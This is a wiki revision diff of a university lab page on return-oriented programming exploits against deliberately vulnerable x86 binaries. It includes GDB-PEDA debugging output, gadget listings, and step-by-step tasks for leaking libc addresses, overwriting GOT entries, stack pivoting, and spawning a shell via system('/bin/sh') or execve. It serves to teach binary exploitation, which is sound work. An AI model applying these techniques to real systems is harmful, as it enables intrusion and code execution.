-Breakpoint 4 at 0x8048330 +
-<function, no debug info> __libc_start_main@plt; +
-Breakpoint 5 at 0x8048340 +
-<function, no debug info> _start; +
-Breakpoint 6 at 0x8048370 +
-<function, no debug info> __x86.get_pc_thunk.bx; +
-Breakpoint 7 at 0x804843f +
-<function, no debug info> main; +
-Breakpoint 8 at 0x8048470 +
-<function, no debug info> __libc_csu_init; +
-Breakpoint 9 at 0x80484e0 +
-<function, no debug info> __libc_csu_fini; +
-Breakpoint 10 at 0x80484e4 +
-<function, no debug info> _fini;+
  
 +Follow the steps shown below.
  
-gdb-peda$ commands +First, trigger the information leak by calling the ''write()'' function and leaking an address from ''libc''.
-Type commands for breakpoint(s1-10, one per line. +
-End with a line saying just "end". +
->continue +
->end+
  
 +<note tip>
 +You can use the GOT table storing libc addresses.
 +</note>
  
-gdb-peda$ run +You need to read the output from the above ''write()'' callUse ''io.recv(4)'' in the Python program to read the 4 bytes output of the ''write()'' call in the ROP chain.
-Starting program: /ctf/Hexcellents/summerschool2014/lab_material/session-12/tut1/a  +
-warning: the debug information found in "/usr/lib64/debug/lib64/ld-2.17.so.debug" does not match "/lib/ld-linux.so.2" (CRC mismatch).+
  
-warning: Could not load shared library symbols for linux-gate.so.1. +<note tip> 
-Do you need "set solib-search-path" or "set sysroot"?+You need to discard from the stack the ''3'' arguments of the ''write()'' call before going to the next call. So you need to use a ''pop ; pop ? ; pop ? ; ret'' gadget. Use ''ROPgadget'' to locate a proper gadget. 
 +</note>
  
-Breakpoint 4, 0x08048330 in __libc_start_main@plt ()+Find the address of the ''system()'' call.
  
-Breakpoint 80x08048470 in __libc_csu_init ()+<note tip> 
 +To find out the address of the ''system()'' call when you know the address of the ''puts()'' calluse [[https://github.com/razvand/snippets/blob/master/pwntools/exploit.py|this pwntools snippet]]. Check the last lines that compute the address of ''system()'' 
 +</note>
  
-Breakpoint 6, 0x08048370 in __x86.get_pc_thunk.bx ()+/*
  
-Breakpoint 10x080482d4 in _init ()+<note tip> 
 +As an alternativemore cumbersom method, fire up GDB on the libc library and save the offset of the function you want to leak and ''system()'': 
 +<code> 
 +root@kali:~/12-rop/skel/task-01# ldd ropasaurusrex1  
 + linux-gate.so.1 (0xf7780000) 
 + libc.so.6 => /lib32/libc.so.6 (0xf75a4000) 
 + /lib/ld-linux.so.2 (0x565cd000) 
 +root@kali:~/12-rop/skel/task-01# gdb -q /lib32/libc.so.6 
 +Reading symbols from /lib32/libc.so.6...(no debugging symbols found)...done. 
 +gdb-peda$ p system 
 +$1 = {<text variable, no debug info>} 0x3ab20 <system> 
 +gdb-peda$ p read 
 +$2 = {<text variable, no debug info>} 0xd7d70 <read> 
 +gdb-peda$ p write 
 +$3 = {<text variable, no debug info>} 0xd7df0 <write> 
 +</code>
  
-Breakpoint 6, 0x08048370 in __x86.get_pc_thunk.bx ()+Alternatively you can print addresses in GDB while investigating the ''ropasaurusrex1'' program and compute the offset difference.
  
-Breakpoint 7, 0x0804843f in main ()+After the leak subtract the saved offset from it. You now have the libc base address (which should be aligned to a multiple of 0x1000). Use that address and add the other offset to compute the address of the ''system()'' call for the current run. 
 +</note>
  
-Breakpoint 2, 0x08048310 in read@plt ()+*/
  
-AAAaAA0AABAAbAA1AACAAcAA2AADAAdAA3AAEAAeAA4AAFAAfAA5AAGAAgAA6AAHAAhAA7+Call ''system()''.
  
-Program received signal SIGSEGV, Segmentation fault. +<note tip> 
-0x41414541 in ?? () +You can't write the ''system()'' address in the ROP chain as it is different each time and the ROP chain is statically defined. You can use the GOT table again. Write an entry in the GOT table with the newly found address and call the function for that entry. It will evolve into a call to ''system()''.
-</code>+
  
 +To write an entry in the GOT table use the ''read()'' call in the ROP chain. You will feed to ''read()'' the computed address below.
  
-==== ROP payload debugging +For the actual parameter use the ''%%"sh"%%'' string already present in the vulnerable binary. Use ''searchmem'' in GDB to find the ''%%"sh"%%'' string in the executable. 
-When you know what the offending function is, disassemble it and break on "ret+</note
-<code bash+==== 2. ChallengeHandling Low Stack Space ====
-gdb-peda$ pdis main +
-Dump of assembler code for function main: +
-   0x0804843c <+0>: push   ebp +
-   0x0804843d <+1>: mov    ebp,esp +
-   0x0804843f <+3>: and    esp,0xfffffff0 +
-   0x08048442 <+6>: sub    esp,0x30 +
-   0x08048445 <+9>: mov    DWORD PTR [esp+0x8],0x64 +
-   0x0804844d <+17>: lea    eax,[esp+0x19] +
-   0x08048451 <+21>: mov    DWORD PTR [esp+0x4],eax +
-   0x08048455 <+25>: mov    DWORD PTR [esp],0x0 +
-   0x0804845c <+32>: call   0x8048310 <read@plt> +
-   0x08048461 <+37>: mov    eax,0x0 +
-   0x08048466 <+42>: leave   +
-   0x08048467 <+43>: ret     +
-End of assembler dump. +
-gdb-peda$ b *0x08048467 +
-Breakpoint 1 at 0x8048467+
  
 +The previous binary had the luxury of plenty of stack space to be overflown. It is often the case that we don't have enough space for a long ROP chain. Let's handle that.
  
-AAAaAA0AABAAbAA1AACAAcAA2AADAAdAA3AAEAAeAA4AAFAAfA +For the current task, switch to the ''task-23/'' sub-folder. The extra constraint here is that huge ropchains are no longer an option.
-[----------------------------------registers-----------------------------------] +
-EAX: 0x0  +
-EBX: 0xf7f97e54 --> 0x1a6d5c  +
-ECX: 0xffffcd49 ("AAAaAA0AABAAbAA1AACAAcAA2AADAAdAA3AAEAAeAA4AAFAAfA\n\300\317\377\367\034"+
-EDX: 0x64 ('d'+
-ESI: 0x0  +
-EDI: 0x0  +
-EBP: 0x41334141 ('AA3A'+
-ESP: 0xffffcd6c ("AEAAeAA4AAFAAfA\n\300\317\377\367\034"+
-EIP: 0x8048467 (<main+43>: ret) +
-EFLAGS: 0x203 (CARRY parity adjust zero sign trap INTERRUPT direction overflow) +
-[-------------------------------------code-------------------------------------] +
-   0x8048445 <main+9>: mov    DWORD PTR [esp+0x8],0x64 +
-   0x804844d <main+17>: lea    eax,[esp+0x19] +
-   0x8048451 <main+21>: mov    DWORD PTR [esp+0x4],eax +
-   0x8048455 <main+25>: mov    DWORD PTR [esp],0x0 +
-   0x804845c <main+32>: call   0x8048310 <read@plt> +
-   0x8048461 <main+37>: mov    eax,0x0 +
-   0x8048466 <main+42>: leave   +
-=> 0x8048467 <main+43>: ret     +
-   0x8048468: xchg   ax,ax +
-   0x804846a: xchg   ax,ax +
-   0x804846c: xchg   ax,ax +
-   0x804846e: xchg   ax,ax +
-   0x8048470 <__libc_csu_init>: push   ebp +
-   0x8048471 <__libc_csu_init+1>: push   edi +
-   0x8048472 <__libc_csu_init+2>: xor    edi,edi +
-   0x8048474 <__libc_csu_init+4>: push   esi +
-[------------------------------------stack-------------------------------------] +
-0000| 0xffffcd6c --> 0xf7e333e0 (<system>: sub    esp,0x1c) +
-0004| 0xffffcd70 --> 0x80484cf (<__libc_csu_init+95>: pop    ebp) +
-0008| 0xffffcd74 --> 0xf7f56be6 ("/bin/sh"+
-0012| 0xffffcd78 --> 0xf7e25c00 (<exit>: push   ebx)+
  
 +Find out how much space you have in the overflow and assess the situation.
  
-gdb-peda$ patto AEAAeAA4AAFAAfA +<note tip> 
-AEAAeAA4AAFAAfA found at offset: 35 +Use ''gdb'' and the cyclic pattern to get the information required. 
-</code>+</note>
  
-Then you can break on all called functions or step as needed to see if the payload is doing what you want it to.+Now follow the steps below.
  
 +First trigger the info leak as before.
  
-==== checksec in peda +<note tip
-<code bash+Use ''write()'' and leak the address of a GOT value. Use this to compute the address of the ''system()'' call. 
-gdb-peda$ checksec +</note>
-CANARY    : disabled +
-FORTIFY   : disabled +
-NX        : ENABLED +
-PIE       : disabled +
-RELRO     : Partial +
-</code>+
  
 +You can only construct a partial ropchain. A longer one won't fit. So after calling ''write()'', call ''main()'' **again**.
  
-==== gadget finding in peda +<note warning> 
-Apart from **objdump** which only finds aligned instructions, you can also use **dumprop** in peda to find all gadgets in memory region or mapping: +Note that using ''sendline()'' means sending out a newline character (''\n'') at the end of the message. If you want to strictly send out a message without newline, use ''send()''See more herehttps://github.com/binjitsu/tutorial/blob/master/tubes.md#basic-io 
-<code bash> +</note>
-gdb-peda$ start +
-.... +
-gdb-peda$ dumprop +
-Warningthis can be very slow, do not run for large memory range +
-Writing ROP gadgets to filea-rop.txt ... +
-0x8048467: ret +
-0x804835d: iret +
-0x804838f: repz ret +
-0x80483be: ret 0xeac1 +
-0x80483a9: leave; ret +
-0x80485b4: inc ecx; ret +
-0x80484cf: pop ebp; ret +
-0x80482f5: pop ebx; ret +
-0x80484df: nop; repz ret +
-0x80483a8: ror cl,1; ret +
-0x804838e: add dh,bl; ret +
-0x80483e5: ror cl,cl; ret +
-0x8048465: add cl,cl; ret +
-0x804840b: leave; repz ret +
-0x8048371: sbb al,0x24; ret +
-0x80485b3: adc al,0x41; ret +
-0x8048370: mov ebx,[esp]; ret +
-0x80484de: nop; nop; repz ret +
-0x80483a7: call eax; leave; ret +
-0x80483e4: call edx; leave; ret +
-0x804840a: add ecx,ecx; repz ret +
-0x80484ce: pop edi; pop ebp; ret +
-</code>+
  
-Something finer is: +<note tip
-<code bash+Find the address of ''main()'' by looking at the argument for the ''%%__libc_start_main()%%'' function. Check the disassembling of the program and see what is the parameter passed to the ''%%__libc_start_main%%'' call.
-gdb-peda$ asmsearch "pop ? ; ret" +
-0x080482f5 : (5bc3) pop    ebx; ret +
-0x080484cf : (5dc3) pop    ebp; ret +
-0x080484f6 : (5bc3) pop    ebx; ret+
  
-gdb-peda$ asmsearch "pop ? ; pop ? ; ret" +After calling main again you will get back to the initial situation where you can exploit the buffer overflow. 
-0x080484ce : (5f5dc3) pop    edi; pop    ebp; ret+</note>
  
-gdb-peda$ asmsearch "call ?" +Call ''system()''. You know the address of the ''system()'' function from above.
-0x080483a7 : (ffd0) call   eax +
-0x080483e4 : (ffd2) call   edx +
-0x0804842f : (ffd0) call   eax+
  
-</code>+<note tip> 
 +Use a new ropchain to call ''%%system("sh")%%''. Use ''searchmem'' in GDB to locate the address of an ''sh'' string, same as the task above. 
 +</note> 
 +==== 3. Challenge: Stack Pivoting ====
  
-==== Anti-anti-debugging and others +Let's assume that ''main()'' function had additional constraints that made it impossible to repeat the overflowHow can we still solve it? The method is called stack pivoting. In short, this means making the stack pointer refer another (writablememory area that has enough space, a memory area that we will populate with the actual ROP chain.
-There can be various annoyances in binaries: **ptrace** calls for anti-debugging, **sleep** calls to prevent bruteforcing or **fork** calls to use child processes to serve requests. +
-These can all be deactivated using **unptrace** (for ptraceand **deactive** in peda.+
  
 +<note tip>
 +Read more about stack pivoting here: http://neilscomputerblog.blogspot.ro/2012/06/stack-pivoting.html
 +</note>
  
 +Tour goal is to fill the actual ROP chain to a large enough memory area. We need a two stage exploit:
 +  - In the first stage, prepare the memory area where to fill the second stage ROP chain; then fill the memory area with the second stage ROP chain.
 +  - In the second stage, create the actual ROP chain and feed it to the program and profit.
  
-== Tasks+Follow the steps below.
  
-Download the task archive {{:session:sess-12.tgz|}}+Use ''pmap'' or ''vmmap'' in GDB PEDA to discover the writable data section of the process. Select an address in that section (you may use the start address). This is where you fill the 2nd stage data (the actual ROP chain).
  
-=== Task1: gadget tut +Create a first stage payload that calls ''read()'' to store the 2nd stage data to the newly found memory area. After that pivot the stack pointer to the memory area address. 
-This task requires you to construct payload using gadgets and calling the functions inside such that it will print+ 
 +<note tip> 
 +At a given address in the executable you have a call to ''read()'' followed by ''leave'' and then a ''ret''. This sequence of instructions allows you to read data and then pivot the stack. 
 + 
 +The ''leave'' instruction fills the stack pointer (''esp'') with the address of the frame pointer (''ebp''). It's equivalent to
 <code> <code>
-Hello! +mov esp, ebp 
-stage A!stage B!+pop ebp
 </code> </code>
-Make it also print the messages in reverse order:+</note> 
 + 
 +Write the actual ROP chain as a second stage payload like when we didn't have space constraints. The 2nd stage will be stored to the memory area and the stack pointer will point to that. 
 + 
 +<note tip> 
 +Pay attention to how the 2nd stage payload should look like. The ''leave'' instruction is equivalent to
 <code> <code>
-Hello! +mov esp, ebp 
-stage B!stage A!+pop ebp
 </code> </code>
 +</note>
  
 +/*==== 4. Challenge [Hard]: Change Memory Protection and Write Shellcode ====
  
-=== Task2: echo service +We want to exploit more constrained environmentThe constraint is to remove the ''system()'' call and use a statically linked executable with no connection to the standard C library or the ''system()'' call.
-This task is network service that can be exploitedRun it locally and try to exploit it. You'll find that if you call system("/bin/sh"the shell is opened in the terminal where the server was started instead of the one where the attack takes place. This happens because the client-server communication takes place over a socket. When you spawn a shell it will inherit the Standard I/O descriptors from the parent and use those. To fix this you need to redirect the socket fd into 0,1 (and optionally 2).+
  
-So you will need to do the equivalent of the following in a ROP chain: +Go the ''challenge-04/'' subfolder and first do a static and dynamic analysis of the ''ropasaurusrex4'' executable. 
-<code c+ 
- dup2(sockfd1); +<note important> 
- dup2(sockfd0); +Note how system calls are made, what registers need to be filled and the execution of the ''int 0x80'' instruction. 
- system("/bin/sh"); +</note
-</code>+ 
 +The idea is to change the memory protection of the data section of the executable such that it will also be executable. Then feed a shellcode to it to that now writable and executable memory are and execute the shellcode. 
 + 
 +Follow the steps below. 
 + 
 +Prepare for doing an ''mprotect'' system call. Devise a way to set all required registers (''eax'', ''ebx'', ''ecx''''edx''to the proper value. 
 + 
 +<note tip> 
 +You can use a "fake" call to setup the ''ebx''''ecx'' and ''edx'' registers. Check the executable. 
 + 
 +You need a proper gadget to fill the value of ''eax'' to the ''mprotect'' system call number. Use the [[http://docs.pwntools.com/en/stable/constants.html|constants module in pwnlib]] to extract the ''mprotect'' system call number. 
 +</note> 
 + 
 +Call ''mprotect'' using a system call to set a memory zone to RWX permissions. 
 + 
 +<note tip> 
 +This relies on calling the ''mprotect'' system call using the previously filled register values. Use a gadget that calls ''int 0x80'' and the returns. 
 +</note> 
 + 
 +Read a shellcode to the now readable and executable memory area and execute it. 
 + 
 +<note tip> 
 +Use the [[http://docs.pwntools.com/en/stable/shellcraft.html|shellcraft module in pwnlib]] to create a shellcode and use the [[http://docs.pwntools.com/en/stable/asm.html|asm() function in pwnlib]] to assemble the shellcode. 
 +</note> 
 +*/ 
 + 
 +==== 4. Challenge [Bonus] ==== 
 + 
 +Switch to ''task-04''. You have a 64 bit binary that you need to exploit to execute /bin/date: 
 +  * First overflow the buffer and call vuln_gate. You will need to prepare registers for the 64 bit calling convention. 
 +  * Then overflow the second buffer and issue a syscall for **execve("/bin/sh", ["/bin/sh", "-c", "/bin/date"], NULL)**. You will need to prepare registers for the 64 bit syscall convention. 
 +  * Extra: Pop a shell.
  
 +==== Resources: ====
  
-Exploit it first with ASLR disabled and then enabled.+  * https://syscalls.kernelgrok.com/ 
 +  * http://articles.manugarg.com/systemcallinlinux2_6.html 
 +  * https://eli.thegreenplace.net/2011/11/03/position-independent-code-pic-in-shared-libraries#the-procedure-linkage-table-plt 
 +  * https://github.com/Gallopsled/pwntools-tutorial/tree/master/walkthrough
session/12.1498983274.txt.gz · Last modified: 2017/07/02 11:14 by Laura-Cristina RUSE (23439)